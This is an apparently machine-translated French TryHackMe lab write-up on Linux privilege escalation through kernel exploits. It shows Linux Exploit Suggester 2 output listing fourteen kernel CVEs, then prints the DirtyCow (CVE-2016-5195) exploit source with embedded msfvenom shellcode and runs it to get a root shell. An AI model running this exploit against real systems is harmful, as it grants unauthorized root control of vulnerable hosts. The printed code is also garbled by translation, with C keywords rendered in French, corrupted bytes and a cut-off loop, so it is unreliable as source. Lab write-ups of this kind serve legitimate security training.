Cette fois, nous essaierons "d'élévation des privilèges en utilisant des exploits de noyau".
La machine cible utilise la pièce ci-dessous de Tryhackme.
"Tryhackme-Linux Privesc: https://tryhackme.com/room/linuxprivesc "

Cet article est la partie 10.
Si vous souhaitez consulter l'écriture pour Linux PRIVSC avec TryhackMe, veuillez également vérifier les privilèges électroniques exploitant des sauvegardes de fichiers historiques, de fichiers de configuration et de fichiers importants




Préparation
Tout d'abord, démarrez la machine cible avec la machine de démarrage.

C'est OK si l'adresse IP s'affiche.

Cette fois, car il est intensifié aux privilèges, je vais vérifier où il peut être connecté via SSH.
Connectez-vous à l'aide de "User / Password321" comme indiqué dans TryhackMe.
┌fiques (HackLab㉿HackLab) - [~ / Tryhackme / Linuxprv] └─ $ ssh user@10.10.175.49 130 ⨯ user@10.10.175.49's Mot de passe: Linux Debian 2.6.32-5-AMD64 # 1 SMP TUe 13 mai 16:34:35 UTC 2014 x86_64 Les programmes comprennent le Dubian / Linx Le système est un logiciel gratuit; Les termes de distribution exacts de chaque programme sont décrits dans les fichiers individuels dans / usr / share / doc / * / copyright. Debian GNU / Linux ne comporte absolument aucune garantie, dans la mesure permise par la loi applicable. Dernière connexion: ven 15 mai 06:41:23 2020 de 192.168.1.125
Exploits du noyau
Un exploit du noyau est un exploit qui crée des vulnérabilités dans le noyau lui-même, comme Linux et Windows.
Essentiellement, le noyau fonctionne dans le mode privilégié le plus élevé dans le système, donc si vous êtes mal utilisé, vous aurez presque tout le système sous contrôle.
Tout d'abord, nous utiliserons Linux Exploit Suggester 2 pour identifier les exploits potentiels du noyau sur votre système actuel.
Utilisateur @ debian: ~ $ perl /home/user/tools/kernel-exploitts/linux-exploit-suggester-2/linux-exploit-suggester-2.pl ##### Linux Exploit Suggester 2 #### # gernel local: 2,6.32 Recherche 72 Exploits ... Exploits possibles [1] http://www.securityfocus.com/bid/45408 [2] Can_BCM CVE-2010-2959 Source: http://www.exploit-db.com/exploits/14814 [3] Dirty_Cow CVE-2016-5195 Source: http://www.exploit-db.com/exploits/40616 [4] Expoit_x CVE-2018-14665 Source: http://www.exploit-db.com/exploits/45697 [5] Half_NelSon1 Alt: ECONET CVE-2010-3848 Source: http://www.exploit-db.com/exploits/17787 [6] Half_nelson2 Alt: Econet Cve-2010-3850 Source: http://www.exploit-db.com/exploits/17787 [7] Half_nelson3 Alt: ECONET CVE-2010-4073 Source: http://www.exploit-db.com/exploits/17787 [8] MSR CVE-2013-0268 Source: http://www.exploit-db.com/exploits/27297 [9] PKTCDVD CVE-2010-3437 Source: http://www.exploit-db.com/exploits/15150 [10] PTRACE_KMOD2 ALT: IA32SYSCALL, ROBERT_YOU_SUCK CVE-2010-3301 Source: http://www.exploit-2014-015023 [11] Source: http://packetstormsecurity.com/files/download/126603/cve-2014-0196-md.c [12] RDS CVE-2010-3904 Source: http://www.expoit-db.com/Expoits/15285 [13] Reiserfs CVE-2010-146 http://www.exploit-db.com/exploits/12130 [14] VIDEO4LINUX CVE-2010-3081 Source: http://www.exploit-db.com/exploits/15024
Il existe de nombreuses listes, mais exploitons les célèbres ci-dessous.
[3] Dirty_Cow CVE-2016-5195 Source: http://www.exploit-db.com/exploit/40616
En utilisant " https://dirtycow.ninja/ (Une sauvegarde de / usr / bin / mot de passe sera créée dans / tmp / dos.)
Utilisateur @ debian: ~ $ cat /home/user/tools/kernel-exploits/dirtycow/c0w.c / * * une variante PTRACE_POKEDATA de CVE-2016-5195 * devrait travailler sur RHEL 5 & 6 * * (UN) commentaire correct Correct Upding (x86 ou x64)! * $ gcc -pthread c0w.c -o c0w * $ ./c0w * Dirtycow Root Privilege Escalate * Backing Up / usr / bin / passwd .. to / tmp / bak * mmap fa65a000 * Madvise 0 * ptrace 0 * $ / usr / bin / passwd * [root @ server foo] # uid = 0 (root) gid = 501 (foo) groupes = 501 (foo) * @ kre80r * / #include<fcntl.h> #inclure<pthread.h> #inclure<string.h> #inclure<stdio.h> #inclure<stdint.h> #inclure<sys/mman.h> #inclure<sys/stat.h> #inclure<sys/types.h> #inclure<sys/wait.h> #inclure<sys/ptrace.h> #inclure<unistd.h> int f; vide * map; pid_t pid; pthread_t pth; struct stat st; // Changez si aucune autorisation de lire Char Suid_binary [] = "/ usr / bin / passwd"; / * * $ msfvenom -p linux / x64 / exec cmd = / bin / bash prendsetuid = true -f elfe | xxd -i */ unsigned char shell_code[] = { 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xFF 0x3b, 0x58, 0x99, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48, 0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x48, 0x89, 0xe6, 0x0f, 0x0}; non signé int sc_len = 177; / * * $ msfvenom -p linux / x86 / exec cmd = / bin / bash prendsetuid = true -f elfe | xxd -i unsigned char shell_code[] = { 0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00, 0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x10, 0x00, 0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52, 0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53, 0x89, 0xe1, 0xcd, 0x80}; non signé int sc_len = 136; * / void * madVisEthread (void * arg) {int i, c = 0; pour (i = 0; i <200000000; i ++) c + = madvise (map, 100, madv_dontneed); printf ("madvise% d \ n \ n", c); } int main (int argc, char * argv []) {printf ("\ n \ (___) \ n \ (oo) _____ / \ n \ @@` \\ \ n \ \\ ____, /% s \ n \ // // \ n \ ^^ ^^ \ n \ ", suid_binary); Char * Backup; printf ("DirtyCow Root Privilege Escalation \ n"); printf ("Sauvegarder% s to / tmp / bak \ n", suid_binary); asprintf (& backup, "cp% s / tmp / bak", suid_binary); système (sauvegarde); f = open (suid_binary, o_rdonly); fstat (f, & st); map = mmap (null, st.st_size + sizeof (long), prot_read, map_private, f, 0); printf ("mmap% x \ n \ n", map); pid = fork (); if (pid) {waitPid (pid, null, 0); int u, i, o, c = 0, l = sc_len; pour (i = 0; i <10000 / l; i ++) pour (o = 0; o
Compiler et exécuter le code.
user@debian:~$ gcc -pthread /home/user/tools/kernel-exploits/dirtycow/c0w.c -o c0w user@debian:~$ ./c0w (___) (oo)_____/ @@ ` \ \ ____, //usr/bin/passwd // // ^^ ^^ DirtyCow root privilege escalation Backing up / usr / bin / passwd to / tmp / bak mmap 534b7000 madvise 0 ptrace 0
Je pense que j'ai pu obtenir des privilèges racine en fonctionnant / usr / bin / passwd!
utilisateur @ debian: ~ $ / usr / bin / passwd root @ debian: / home / user # whoami root
résumé
Cette fois, j'ai essayé «l'élévation du privilège en utilisant des exploits du noyau».
Il a peut-être été un peu surprenant de voir qu'il y a jusqu'à 14 vulnérabilités dans les exploits du noyau.
Comme c'est un dernier recours, je ne sais pas si je vais l'utiliser à l'avenir, mais je dois m'en souvenir.
Références et sites
-